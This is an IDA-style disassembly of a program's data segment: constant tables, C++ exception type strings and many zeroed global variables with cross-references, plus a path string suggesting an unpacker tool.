		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43AB70	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41FFF0+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_43ACD0	dd offset off_421CE8	; DATA XREF: seg001:off_421D10o
					; seg001:00421E3Co ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_43ACE8	dd offset off_421CE8	; DATA XREF: seg001:off_421D28o
					; seg001:00421DBCo ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43AD08	dd offset off_421CE8	; DATA XREF: seg001:off_421D40o
					; seg001:00421D84o ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_43AD28	dd offset off_421CE8	; DATA XREF: seg001:off_421DC8o
					; seg001:00421E0Co ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43AD48	dd offset off_421CE8	; DATA XREF: seg001:off_421E48o
					; seg001:00421E84o
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41E79E
		align 8
byte_43AD68	db 0			; DATA XREF: sub_401444+1C1w
					; sub_401444+2C0o
		align 2
word_43AD6A	dw 0			; DATA XREF: sub_401444+1D1w
word_43AD6C	dw 0			; DATA XREF: sub_401444+1D7w
word_43AD6E	dw 0			; DATA XREF: sub_401444+1DEw
byte_43AD70	db 0			; DATA XREF: sub_401444+1E5w
byte_43AD71	db 0			; DATA XREF: sub_401444+1ECw
word_43AD72	dw 0			; DATA XREF: sub_401444+1F2w
dword_43AD74	dd 0			; DATA XREF: sub_401444+220w
					; sub_401444+23Ew
dword_43AD78	dd 0			; DATA XREF: sub_401444+246w
byte_43AD7C	db 0			; DATA XREF: sub_401444+258w
byte_43AD7D	db 0			; DATA XREF: sub_401444+26Bw
word_43AD7E	dw 0			; DATA XREF: sub_401444+283w
word_43AD80	dw 0			; DATA XREF: sub_401444+292w
word_43AD82	dw 0			; DATA XREF: sub_401444+28Aw
dword_43AD84	dd 100h	dup(0)		; DATA XREF: sub_401444+2A7o
dword_43B184	dd 0			; DATA XREF: sub_402FCD+9Eo
byte_43B188	db 0			; DATA XREF: sub_402FCD+36r
					; sub_4030B0+37r ...
		align 4
dword_43B18C	dd 7A5h			; DATA XREF: sub_4036BB+10w
					; sub_4036D2+30r ...
dword_43B190	dd 2 dup(0)		; DATA XREF: sub_4044FF+68o
dword_43B198	dd 0			; DATA XREF: sub_403FAF+13o
					; sub_40CD3A+5B16o ...
dword_43B19C	dd 0			; DATA XREF: sub_40597F+2Aw
					; sub_40597F+51r ...
dword_43B1A0	dd 0			; DATA XREF: sub_4036D2+AEr
					; seg001:0040491Br ...
		align 8
dword_43B1A8	dd 0			; DATA XREF: sub_40713F+18r
					; sub_407592+92w ...
dword_43B1AC	dd 0			; DATA XREF: sub_4076CB+1F7r
					; sub_4078DF+D9w ...
		dd 256h	dup(0)
dword_43BB08	dd 6 dup(0)		; DATA XREF: sub_4076CB+C0o
					; sub_4076CB+129o ...
dword_43BB20	dd 0			; DATA XREF: sub_4071B6+82w
					; sub_4071B6+FFo
dword_43BB24	dd 41h dup(0)		; DATA XREF: sub_4071B6+41o
dword_43BC28	dd 41h dup(0)		; DATA XREF: sub_4071B6+63o
dword_43BD2C	dd 0			; DATA XREF: sub_4071B6+F5w
					; sub_4071B6+111r
dword_43BD30	dd 0			; DATA XREF: sub_4071B6+52w
dword_43BD34	dd 0			; DATA XREF: sub_4071B6+4Dw
					; sub_4071B6+D2r
dword_43BD38	dd 20h dup(0)		; DATA XREF: sub_4071B6+9Ao
					; sub_4071B6+B7o
dword_43BDB8	dd 0			; DATA XREF: sub_4071B6+8Fw
dword_43BDBC	dd 0			; DATA XREF: sub_4071B6+A4w
					; sub_4071B6+C1w
dword_43BDC0	dd 0			; DATA XREF: sub_4071B6:loc_40737Cr
		align 8
dword_43BDC8	dd 0			; DATA XREF: sub_4071B6+2D5w
					; sub_4071B6+32Eo
dword_43BDCC	dd 0A2h	dup(0)		; DATA XREF: sub_4071B6+2C3o
dword_43C054	dd 41h dup(0)		; DATA XREF: sub_4071B6+28Do
dword_43C158	dd 0			; DATA XREF: sub_4071B6+2BAw
					; sub_4071B6+2E1r
		align 10h
dword_43C160	dd 0			; DATA XREF: sub_4071B6+324w
					; sub_4071B6+340r
dword_43C164	dd 0			; DATA XREF: sub_4071B6+2E7w
dword_43C168	dd 0			; DATA XREF: sub_4071B6+2F4w
dword_43C16C	dd 0			; DATA XREF: sub_4071B6+2B4w
		dd 0
dword_43C174	dd 0			; DATA XREF: sub_4071B6:loc_407540r
dword_43C178	dd 0			; DATA XREF: sub_4071B6+190w
					; sub_4071B6+222o
dword_43C17C	dd 41h dup(0)		; DATA XREF: sub_4071B6+152o
dword_43C280	dd 41h dup(0)		; DATA XREF: sub_4071B6+171o
dword_43C384	dd 0			; DATA XREF: sub_4071B6+218w
					; sub_4071B6+234r
dword_43C388	dd 0			; DATA XREF: sub_4071B6+160w
dword_43C38C	dd 0			; DATA XREF: sub_4071B6+1F5r
dword_43C390	dd 20h dup(0)		; DATA XREF: sub_4071B6+1A8o
					; sub_4071B6+1DAo
dword_43C410	dd 0			; DATA XREF: sub_4071B6+19Dw
dword_43C414	dd 0			; DATA XREF: sub_4071B6+1B2w
					; sub_4071B6+1E4w
dword_43C418	dd 0			; DATA XREF: sub_4071B6:loc_40741Ar
dword_43C41C	dd 0			; DATA XREF: sub_40891C+489w
					; sub_40891C+4CDr
dword_43C420	dd 0			; DATA XREF: sub_40891C+65w
					; sub_413C50+EEr
dword_43C424	dd 0			; DATA XREF: sub_40891C+7EDw
					; sub_40891C+862r ...
dword_43C428	dd 0			; DATA XREF: sub_40891C+9BAw
					; sub_40891C+A18r ...
dword_43C42C	dd 0			; DATA XREF: sub_40891C+96Cw
					; sub_40891C+9E8r ...
dword_43C430	dd 0			; DATA XREF: sub_40891C+46Fw
					; sub_40891C+4BDr
dword_43C434	dd 0			; DATA XREF: sub_4021FB+ECr
					; sub_4021FB+108r ...
dword_43C438	dd 0			; DATA XREF: sub_40891C+9ADw
					; sub_40891C+A10r ...
dword_43C43C	dd 0			; DATA XREF: sub_40891C+354w
					; sub_40891C+3A9r ...
dword_43C440	dd 0			; DATA XREF: sub_40891C+3F1w
					; sub_40A9D8+11Er
dword_43C444	dd 0			; DATA XREF: sub_40891C+361w
					; sub_40891C+3B1r ...
dword_43C448	dd 0			; DATA XREF: sub_40891C+3A2w
					; sub_413248+ADr
dword_43C44C	dd 0			; DATA XREF: sub_405A96+115r
					; sub_40840A+76r ...
dword_43C450	dd 0			; DATA XREF: sub_40891C+72w
					; sub_40891C+D2r ...
dword_43C454	dd 0			; DATA XREF: sub_40891C+95Fw
					; sub_40891C+9DBr ...
dword_43C458	dd 0			; DATA XREF: sub_40891C+388w
					; sub_40891C+3C9r ...
dword_43C45C	dd 0			; DATA XREF: sub_40891C+83Bw
					; sub_40891C+88Er ...
dword_43C460	dd 0			; DATA XREF: sub_408503+58r
					; sub_40891C+2A5w ...
dword_43C464	dd 0			; DATA XREF: sub_40891C+82Ew
					; sub_40891C+886r ...
dword_43C468	dd 0			; DATA XREF: sub_40891C+B3w
dword_43C46C	dd 0			; DATA XREF: sub_40891C+848w
					; sub_40891C+896r ...
dword_43C470	dd 0			; DATA XREF: sub_407B36+7Er
					; sub_40891C+52Fw ...
dword_43C474	dd 0			; DATA XREF: sub_40891C+58w
					; sub_40891C+CAr ...
dword_43C478	dd 0			; DATA XREF: sub_40891C+916w
					; sub_40A133+11Ar
dword_43C47C	dd 0			; DATA XREF: sub_40891C+A66w
					; sub_40891C+A6Dr ...
dword_43C480	dd 0			; DATA XREF: sub_40891C+A6w
					; sub_40891C+F2r
dword_43C484	dd 0			; DATA XREF: sub_40891C+462w
					; sub_40891C+4B5r
dword_43C488	dd 0			; DATA XREF: sub_40754A+20r
					; sub_40891C+5D8w ...
dword_43C48C	dd 0			; DATA XREF: sub_40891C+9A0w
					; sub_40891C+A08r
dword_43C490	dd 0			; DATA XREF: sub_4024D0+280r
					; sub_40891C+5CBw ...
dword_43C494	dd 0			; DATA XREF: sub_4030B0+A7r
					; sub_40891C+B21w
dword_43C498	dd 0			; DATA XREF: sub_40891C+7E0w
					; sub_40891C+84Fr ...
dword_43C49C	dd 0			; DATA XREF: sub_40891C+1B3w
					; sub_409D12+15r
dword_43C4A0	dd 0			; DATA XREF: sub_40891C+979w
					; sub_40891C+9F0r ...
dword_43C4A4	dd 0			; DATA XREF: sub_40891C+36Ew
					; sub_40891C+3B9r ...
dword_43C4A8	dd 0			; DATA XREF: sub_40891C+37Bw
					; sub_40891C+3C1r ...
dword_43C4AC	dd 0			; DATA XREF: sub_40891C+C56w
					; sub_40891C+C5Dr
dword_43C4B0	dd 0			; DATA XREF: sub_40891C+68Ew
dword_43C4B4	dd 0			; DATA XREF: sub_4010B2:loc_4013B3r
					; sub_4018CB:loc_401B47r ...
dword_43C4B8	dd 0			; DATA XREF: sub_40891C+496w
dword_43C4BC	dd 0			; DATA XREF: sub_40891C+9C7w
					; sub_40891C+A20r ...
dword_43C4C0	dd 0			; DATA XREF: sub_40891C+2B2w
					; sub_40891C+2DEr ...
dword_43C4C4	dd 0			; DATA XREF: sub_40891C+7Fw
					; sub_40891C+DAr ...
dword_43C4C8	dd 0			; DATA XREF: sub_40891C+B6Ew
					; sub_40891C+B75r ...
dword_43C4CC	dd 0			; DATA XREF: sub_4010B2+2Fr
					; sub_4018CB+2Fr ...
dword_43C4D0	dd 0			; DATA XREF: sub_40891C+807w
					; sub_40891C+872r ...
dword_43C4D4	dd 0			; DATA XREF: sub_40891C+986w
					; sub_40891C+9F8r
dword_43C4D8	dd 0			; DATA XREF: sub_404EC7+3Cr
					; sub_404EC7+6Er ...
dword_43C4DC	dd 0			; DATA XREF: sub_4021FB+40r
					; sub_4021FB+63r ...
dword_43C4E0	dd 0			; DATA XREF: sub_40891C+8FCw
					; sub_40891C+910r ...
dword_43C4E4	dd 0			; DATA XREF: sub_40891C+BF9w
dword_43C4E8	dd 0			; DATA XREF: sub_4010B2:loc_4013BFr
					; sub_401444+3Cr ...
dword_43C4EC	dd 0			; DATA XREF: sub_40891C+821w
					; sub_40891C+855r
dword_43C4F0	dd 0			; DATA XREF: sub_4021FB+50r
					; sub_4021FB+78r ...
dword_43C4F4	dd 0			; DATA XREF: sub_40891C+172w
					; sub_40891C+1C2r
dword_43C4F8	dd 0			; DATA XREF: sub_40891C+65Aw
					; sub_40891C+786r ...
dword_43C4FC	dd 0			; DATA XREF: sub_4033B6+20Ar
					; sub_4036D2+5Er ...
dword_43C500	dd 0			; DATA XREF: sub_4024D0+16Er
					; sub_40891C+549w ...
dword_43C504	dd 0			; DATA XREF: sub_40891C+8BDw
					; sub_40891C:loc_4091F7w ...
dword_43C508	dd 0			; DATA XREF: sub_40891C+28Bw
					; sub_40891C+2C6r ...
dword_43C50C	dd 0			; DATA XREF: sub_407CBD+98r
					; sub_40891C+681w ...
dword_43C510	dd 0			; DATA XREF: sub_40891C+30Fw
					; sub_40891C+323r ...
dword_43C514	dd 0			; DATA XREF: sub_40891C+395w
					; sub_40891C+3D1r ...
dword_43C518	dd 0			; DATA XREF: sub_404EC7+16Cr
					; sub_404EC7+1A0r ...
dword_43C51C	dd 0			; DATA XREF: sub_40891C+7FAw
					; sub_40891C+86Ar ...
dword_43C520	dd 0			; DATA XREF: sub_4021FB+FCr
					; sub_40891C+206w ...
dword_43C524	dd 0			; DATA XREF: sub_40891C+18Cw
					; sub_40891C+1D2r ...
dword_43C528	dd 0			; DATA XREF: sub_40891C+814w
					; sub_40891C+87Ar ...
dword_43C52C	dd 0			; DATA XREF: sub_406B84+244r
					; sub_40891C+606w ...
dword_43C530	dd 0			; DATA XREF: sub_408503+196r
					; sub_40891C+2BFw ...
dword_43C534	dd 0			; DATA XREF: sub_4010B2+6Fr
					; sub_401444+AAr ...
dword_43C538	dd 0			; DATA XREF: sub_40891C+302w
					; sub_40891C+316r ...
dword_43C53C	dd 0			; DATA XREF: sub_405A96+F9r
					; sub_406B84+1FCr ...
dword_43C540	dd 0			; DATA XREF: sub_40891C+42Ew
					; sub_40891C+490r
dword_43C544	dd 0			; DATA XREF: sub_40891C+199w
					; sub_40891C+1DAr ...
dword_43C548	dd 0			; DATA XREF: sub_40891C+347w
					; sub_40891C+39Cr ...
dword_43C54C	dd 0			; DATA XREF: sub_40891C+A73w
dword_43C550	dd 0			; DATA XREF: sub_4010B2+EBr
					; sub_4010B2+1F9r ...
dword_43C554	dd 0			; DATA XREF: sub_4010B2+87r
					; sub_4010B2+9Dr ...
dword_43C558	dd 0			; DATA XREF: sub_40891C+4Bw
					; sub_40891C+C2r ...
dword_43C55C	dd 0			; DATA XREF: sub_40891C+455w
					; sub_40891C+4ADr
dword_43C560	dd 0			; DATA XREF: sub_40891C+165w
					; sub_40891C+1BAr ...
dword_43C564	dd 0			; DATA XREF: sub_40891C+9E1w
					; sub_413B27+72r
dword_43C568	dd 0			; DATA XREF: sub_40891C+667w
					; sub_40891C+78Er
dword_43C56C	dd 0			; DATA XREF: sub_4024D0+206r
					; sub_4033B6+23Br ...
dword_43C570	dd 0			; DATA XREF: sub_404EC7+1B3r
					; sub_404EC7+21Dr ...
dword_43C574	dd 0			; DATA XREF: sub_40891C+3Ew
					; sub_40891C+BAr ...
dword_43C578	dd 0			; DATA XREF: sub_40891C+298w
					; sub_40891C+2CEr ...
dword_43C57C	dd 0			; DATA XREF: sub_405A96+9Er
					; sub_407B36+9Cr ...
dword_43C580	dd 0			; DATA XREF: sub_4024D0+EBr
					; sub_405A96+89r ...
dword_43C584	dd 0			; DATA XREF: sub_40891C+C63w
dword_43C588	dd 0			; DATA XREF: sub_40891C+85Bw
					; sub_40AD52+209r ...
dword_43C58C	dd 0			; DATA XREF: sub_40891C+112w
dword_43C590	dd 0			; DATA XREF: sub_404EC7+F8r
					; sub_40891C+BB8w ...
dword_43C594	dd 0			; DATA XREF: sub_401444+119r
					; sub_401444+1A0r ...
dword_43C598	dd 0			; DATA XREF: sub_40891C+43Bw
					; sub_40891C+49Dr
dword_43C59C	dd 0			; DATA XREF: sub_40891C+47Cw
					; sub_40891C+4C5r
dword_43C5A0	dd 0			; DATA XREF: sub_40891C+448w
					; sub_40891C+4A5r
dword_43C5A4	dd 0			; DATA XREF: sub_4033B6+221r
					; sub_4033B6+249r ...
dword_43C5A8	dd 0			; DATA XREF: sub_40891C+1A6w
					; sub_40891C+1E2r ...
dword_43C5AC	dd 0			; DATA XREF: sub_40891C+9D4w
					; sub_40891C+A28r ...
dword_43C5B0	dd 0			; DATA XREF: sub_40891C+158w
					; sub_40891C+1ADr ...
dword_43C5B4	dd 0			; DATA XREF: sub_40891C+8Cw
					; sub_40891C+E2r ...
dword_43C5B8	dd 0			; DATA XREF: sub_4010B2+2C2r
					; sub_401444+2C8r ...
dword_43C5BC	dd 0			; DATA XREF: sub_40891C+B14w
					; sub_40891C+B30r
dword_43C5C0	dd 0			; DATA XREF: sub_40891C+31Cw
					; sub_413BE5+55r
dword_43C5C4	dd 0			; DATA XREF: sub_408503+3Fr
					; sub_40891C+27Ew ...
dword_43C5C8	dd 0			; DATA XREF: sub_40891C+B7Bw
dword_43C5CC	dd 0			; DATA XREF: sub_40891C+ABDw
					; sub_409FB2+8Fr
dword_43C5D0	dd 0			; DATA XREF: sub_40891C+AB0w
					; sub_40891C+AB7r ...
dword_43C5D4	dd 0			; DATA XREF: sub_401444+2Er
					; sub_401BD4+55r ...
dword_43C5D8	dd 0			; DATA XREF: sub_407CBD+88r
					; sub_40891C+674w ...
dword_43C5DC	dd 0			; DATA XREF: sub_404EC7+53r
					; sub_40891C+BC5w ...
dword_43C5E0	dd 0			; DATA XREF: sub_4024D0+28Dr
					; sub_406B84+250r ...
dword_43C5E4	dd 0			; DATA XREF: sub_40891C+993w
					; sub_40891C+A00r ...
dword_43C5E8	dd 0			; DATA XREF: sub_405A96+13Dr
					; sub_407B36+B3r ...
dword_43C5EC	dd 0			; DATA XREF: sub_4010B2+2FAr
					; sub_401444+2F4r ...
dword_43C5F0	dd 0			; DATA XREF: sub_405A96+B7r
					; sub_405A96+376r ...
dword_43C5F4	dd 0			; DATA XREF: sub_402FCD+B0r
					; sub_402FCD+C8r ...
dword_43C5F8	dd 0			; DATA XREF: sub_4010B2+4Fr
					; sub_4018CB+4Fr ...
dword_43C5FC	dd 0			; DATA XREF: sub_40891C+AFAw
					; sub_40891C+B1Br
dword_43C600	dd 0			; DATA XREF: sub_40891C+31w
					; sub_40891C+ADr ...
dword_43C604	dd 0			; DATA XREF: sub_40891C+17Fw
					; sub_40891C+1CAr
dword_43C608	dd 0			; DATA XREF: sub_40891C+909w
					; sub_40891C+91Dr ...
dword_43C60C	dd 0			; DATA XREF: sub_40891C+99w
					; sub_40891C+EAr ...
dword_43C610	dd 0			; DATA XREF: sub_40891C:loc_408A1Aw
					; sub_40891C+12Bw ...
dword_43C614	dd 0			; DATA XREF: sub_40891C+126w
					; sub_4095A9+1Cr
dword_43C618	dd 0			; DATA XREF: sub_40891C:loc_408B0Aw
					; sub_40891C:loc_408B71w ...
dword_43C61C	dd 0			; DATA XREF: sub_40891C+250w
					; sub_4095A9+50r
dword_43C620	dd 0			; DATA XREF: sub_40891C:loc_408C06w
					; sub_40891C:loc_408C4Bw ...
dword_43C624	dd 0			; DATA XREF: sub_40891C+400w
					; sub_4095A9+84r
dword_43C628	dd 0			; DATA XREF: sub_40891C:loc_408E02w
					; sub_4095A9:loc_409659r
dword_43C62C	dd 0			; DATA XREF: sub_40891C+4E1w
					; sub_4095A9+B8r
dword_43C630	dd 0			; DATA XREF: sub_40891C:loc_4090D3w
					; sub_4095A9:loc_40968Dr
dword_43C634	dd 0			; DATA XREF: sub_40891C+7B2w
					; sub_4095A9+ECr
dword_43C638	dd 0			; DATA XREF: sub_40891C:loc_4091BEw
					; sub_40891C+8D1w ...
dword_43C63C	dd 0			; DATA XREF: sub_40891C+8CCw
					; sub_4095A9+120r
dword_43C640	dd 0			; DATA XREF: sub_40891C:loc_409252w
					; sub_4095A9:loc_4096F5r ...
dword_43C644	dd 0			; DATA XREF: sub_40891C+931w
					; sub_4095A9+154r
dword_43C648	dd 0			; DATA XREF: sub_40891C:loc_40935Dw
					; sub_4095A9:loc_409729r ...
dword_43C64C	dd 0			; DATA XREF: sub_40891C+A3Cw
					; sub_4095A9+188r
dword_43C650	dd 0			; DATA XREF: sub_40891C:loc_4093A7w
					; sub_4095A9:loc_40975Dr
dword_43C654	dd 0			; DATA XREF: sub_40891C+A86w
					; sub_4095A9+1BCr
dword_43C658	dd 0			; DATA XREF: sub_40891C:loc_4093F1w
					; sub_4095A9:loc_409791r
dword_43C65C	dd 0			; DATA XREF: sub_40891C+AD0w
					; sub_4095A9+1F0r
dword_43C660	dd 0			; DATA XREF: sub_40891C:loc_409465w
					; sub_4095A9:loc_4097C5r
dword_43C664	dd 0			; DATA XREF: sub_40891C+B44w
					; sub_4095A9+224r
dword_43C668	dd 0			; DATA XREF: sub_40891C:loc_4094AFw
					; sub_4095A9:loc_4097F9r
dword_43C66C	dd 0			; DATA XREF: sub_40891C+B8Ew
					; sub_4095A9+258r
dword_43C670	dd 0			; DATA XREF: sub_40891C:loc_40954Dw
					; sub_4095A9:loc_40982Dr
dword_43C674	dd 0			; DATA XREF: sub_40891C+C2Cw
					; sub_4095A9+28Cr
dword_43C678	dd 0			; DATA XREF: sub_40891C:loc_409597w
					; sub_4095A9:loc_409861r
dword_43C67C	dd 0			; DATA XREF: sub_40891C+C76w
					; sub_4095A9+2C0r
dword_43C680	dd 80h dup(0)		; DATA XREF: sub_409B27+6Ao
dword_43C880	dd 4 dup(0)		; DATA XREF: sub_40A08A+32o
dword_43C890	dd 0			; DATA XREF: sub_40A4D6:loc_40A4F7r
					; sub_40A5C5+54r ...
dword_43C894	dd 0			; DATA XREF: sub_40A4D6r
					; sub_40A5C5+37r ...
dword_43C898	dd 0			; DATA XREF: sub_40A506+1Ar
					; sub_40A71A+83o
dword_43C89C	dd 0			; DATA XREF: sub_40A4D6:loc_40A4EAr
					; sub_40A71A+11Bw
dword_43C8A0	dd 0Dh dup(0)		; DATA XREF: sub_40A5C5+13o
					; sub_40A71A:loc_40A857o
dword_43C8D4	dd 0			; DATA XREF: sub_40A5C5+CDr
					; sub_40A5C5+ECr ...
dword_43C8D8	dd 0Eh dup(0)		; DATA XREF: sub_40A8CF+3Eo
dword_43C910	dd 1000h dup(0)		; DATA XREF: sub_40B078+1Do
					; sub_40B118o ...
dword_440910	dd 0Dh dup(0)		; DATA XREF: sub_40B078+13o
					; sub_40B118+Eo ...
dword_440944	dd 0			; DATA XREF: sub_40C48C+C8o
dword_440948	dd 0			; DATA XREF: sub_40AF80+Ao
					; sub_40AF80+44r ...
		dd 5 dup(0)
dword_440960	dd 0			; DATA XREF: sub_40AF80+60r
					; sub_40CD3A+B6Br
		dd 2D9h	dup(0)
dword_4414C8	dd 0			; DATA XREF: sub_4076CB+96r
					; sub_40AF80+2Do ...
		dd 7Fh dup(0)
dword_4416C8	dd 0			; DATA XREF: sub_414DDA+4Cw
					; sub_414F15+3Aw ...
dword_4416CC	dd 0			; DATA XREF: sub_406048+233w
					; sub_4076CB+6Dr ...
dword_4416D0	dd 0			; DATA XREF: sub_40A71A+164w
					; sub_414DDA+45w ...
dword_4416D4	dd 0			; DATA XREF: sub_4024D0+E0w
					; sub_405A96+7Ew ...
dword_4416D8	dd 0			; DATA XREF: sub_407CBD+11Ew
					; sub_407EA5+53r ...
dword_4416DC	dd 0			; DATA XREF: sub_406048+260w
					; sub_4071B6+11Fw ...
byte_4416E0	db 0			; DATA XREF: sub_40CA58+91o
					; sub_40CD3A+318Dr ...
		align 4
		dd 101Bh dup(0)
dword_445750	dd 949Ah dup(0)		; DATA XREF: seg001:off_42694Co
dword_46A9B8	dd 0			; DATA XREF: sub_407075:loc_4070E3r
					; sub_40C574+47w ...
		align 10h
dword_46A9C0	dd 0			; DATA XREF: sub_40C574:loc_40C96Ao
dword_46A9C4	dd 20h dup(0)		; DATA XREF: sub_40C574+38Eo
					; sub_40C574+447o ...
dword_46AA44	dd 10h dup(0)		; DATA XREF: sub_40C574+3A5o
					; sub_40CD3A+8D4o
dword_46AA84	dd 24h dup(0)		; DATA XREF: sub_40C574+3BCo
dword_46AB14	dd 0			; DATA XREF: sub_40C574+3B0w
					; sub_40C574+45Ew ...
dword_46AB18	dd 0			; DATA XREF: sub_40C574+3CFw
		dd 2 dup(0)
dword_46AB24	dd 0			; DATA XREF: sub_40C574+147r
dword_46AB28	dd 0			; DATA XREF: sub_40CA58+72r
					; sub_40CD3A+268r
byte_46AB2C	db 0			; DATA XREF: sub_40CBBE+28r
					; sub_40CBBE+30o
byte_46AB2D	db 3 dup(0)		; DATA XREF: sub_40282F+9Fo
dword_46AB30	dd 0			; DATA XREF: sub_40C574+3FBw
					; sub_40C574+412r ...
dword_46AB34	dd 0			; DATA XREF: sub_40C574+393w
					; sub_40CD3A+878r
dword_46AB38	dd 18h dup(0)		; DATA XREF: sub_412D95:loc_412EB2o
					; sub_412D95+131o ...
dword_46AB98	dd 8 dup(0)		; DATA XREF: sub_413B27+7Co
					; sub_413B27+A5o
dword_46ABB8	dd 0			; DATA XREF: sub_41501C+16o
					; sub_41503B+19o
dword_46ABBC	dd 77h dup(0)		; DATA XREF: sub_414FCF+3Do
dword_46AD98	dd 0			; DATA XREF: sub_413112+45w
					; sub_413112+4Dr ...
		align 10h
dword_46ADA0	dd 18h dup(0)		; DATA XREF: sub_4139F3:loc_413B15o
					; sub_4139F3+12Do
dword_46AE00	dd 80h dup(0)		; DATA XREF: sub_413053+4Bo
					; sub_413053+7Do ...
byte_46B000	db 0			; DATA XREF: sub_413112+29r
					; sub_413112+34w
		align 8
dword_46B008	dd 80h dup(0)		; DATA XREF: sub_413369+61o
					; sub_413369+88o ...
dword_46B208	dd 80h dup(0)		; DATA XREF: sub_412C6C+33o
					; sub_412C6C+50o ...
dword_46B408	dd 80h dup(0)		; DATA XREF: sub_4142E2+8Do
byte_46B608	db 0			; DATA XREF: sub_414CD9+64r
					; sub_414CD9+92w
		align 10h
dword_46B610	dd 0			; DATA XREF: sub_415DD3+Aw
		align 8
dword_46B618	dd 0			; DATA XREF: sub_41697B+5Er
					; sub_41697B+A4w
		align 10h
word_46B620	dw 0			; DATA XREF: sub_41697B+55r
					; sub_41697B+9Ao
word_46B622	dw 0			; DATA XREF: sub_41697B+48r
		db 2 dup(0)
word_46B626	dw 0			; DATA XREF: sub_41697B+3Br
word_46B628	dw 0			; DATA XREF: sub_41697B+2Er
word_46B62A	dw 0			; DATA XREF: sub_41697B+21r
		align 10h
dword_46B630	dd 0			; DATA XREF: sub_416B3F+3Br
					; sub_416B3F+91w
dword_46B634	dd 0			; DATA XREF: sub_416728+1B9w
					; sub_416CDE:loc_416D5Aw ...
dword_46B638	dd 0			; DATA XREF: sub_417729+35w
					; sub_4185EB:loc_418685w ...
dword_46B63C	dd 0			; DATA XREF: sub_41DDF6+13Ar
dword_46B640	dd 0A28h		; DATA XREF: seg001:00417B6Aw
dword_46B644	dd 501h			; DATA XREF: seg001:00417B61w
dword_46B648	dd 5			; DATA XREF: seg001:00417B56w
dword_46B64C	dd 1			; DATA XREF: seg001:00417B48w
dword_46B650	dd 1			; DATA XREF: sub_40C574:loc_40C852r
					; sub_41D170+91w
dword_46B654	dd 340B20h		; DATA XREF: sub_40C574+2E7r
					; sub_40C574+307r ...
		dd 0
dword_46B65C	dd 340B48h		; DATA XREF: sub_41D0B7+44w
					; sub_41FCDD+9r ...
dword_46B660	dd 0			; DATA XREF: sub_4203C1+36r
dword_46B664	dd 0			; DATA XREF: sub_41FCDD+16r
					; sub_4200AB+4r ...
		dd 0
off_46B66C	dd offset aCM_unpackerPac ; DATA XREF: sub_41D170+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_46B674	db 0			; DATA XREF: sub_417869+2Dw
					; sub_41DA17+5r
		align 4
dword_46B678	dd 0			; DATA XREF: sub_417869+27w
dword_46B67C	dd 0			; DATA XREF: sub_417869+4r
					; sub_417869+8Bw
dword_46B680	dd 0			; DATA XREF: seg001:00417B9Cw
					; sub_41D0B7:loc_41D0C9r ...
		align 8
dword_46B688	dd 0			; DATA XREF: sub_417C0Er sub_417C33r ...
dword_46B68C	dd 0			; DATA XREF: sub_4187D6+37r
		dd 0
dword_46B694	dd 0			; DATA XREF: sub_415BE9r
					; sub_41737F:loc_41749Br ...
dword_46B698	dd 0			; DATA XREF: sub_418A88r
dword_46B69C	dd 0			; DATA XREF: sub_419956+4Bw
					; sub_419A6F+2Dw ...
dword_46B6A0	dd 0			; DATA XREF: sub_41A8A1+11r
					; sub_41A9A5+1Ar ...
byte_46B6A4	db 0			; DATA XREF: sub_41A8A1+3r
					; sub_41A8A1+98r ...
		align 4
dword_46B6A8	dd 0			; DATA XREF: sub_41A9A5+11r
					; sub_41AA83+21w ...
byte_46B6AC	db 0			; DATA XREF: sub_41AA83+51w
		align 10h
dword_46B6B0	dd 0			; DATA XREF: sub_41AC79+4Er
					; sub_41B054+3Ar ...
dword_46B6B4	dd 0			; DATA XREF: sub_41AC79+5Cr
					; sub_41B054+43r ...
